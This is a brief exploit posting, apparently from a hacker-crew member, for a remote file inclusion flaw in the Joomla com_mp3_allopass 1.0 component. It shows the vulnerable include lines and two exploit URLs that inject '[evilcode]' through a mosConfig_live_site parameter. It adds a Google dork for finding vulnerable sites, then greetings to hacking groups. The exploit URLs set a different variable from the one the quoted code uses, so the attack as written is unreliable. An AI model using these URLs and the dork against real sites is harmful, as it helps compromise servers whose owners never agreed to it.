The Joomla MP3 Allopass component version 1.0 suffers from a remote file inclusion vulnerability.
df9f51de00edcdfd7c30955c7454ca0d582ef1cf839a577df72b0e569b968d55
# com_mp3_allopass joomla component Remote File Include Vulnerability
Component : com_mp3_allopass
Download file : http://www.joomlaratings.com
Dicovered by : NoGe
Contact : pace.noge@hotmail.com
==================================================================================================================================
# Vulnerable file
/components/com_mp3_allopass/allopass.php
line 3 require_once("{$mosConfig_absolute_path}/components/com_mp3_allopass/allopass-conf.php");
/components/com_mp3_allopass/allopass-error.php
line 2 require_once("{$mosConfig_absolute_path}/components/com_mp3_allopass/allopass-conf.php");
# Exploit
http://localhost/path/components/com_mp3_allopass/allopass.php?mosConfig_live_site=[evilcode]
http://localhost/path/components/com_mp3_allopass/allopass-error.php?mosConfig_live_site=[evilcode]
# google dork
inurl:com_mp3_allopass
==================================================================================================================================
# Greetz
all member #papuahacker #nyubicrew #baliemhackerlink
skulmatic olibekas ulga Cungkee nyubi k1tk4t newbie str0ke
yooogy H312Y Vaksin13 Oon_Boy Paman mousekill }^-^{ haliq
http://kapukvalley.net member
==================================================================================================================================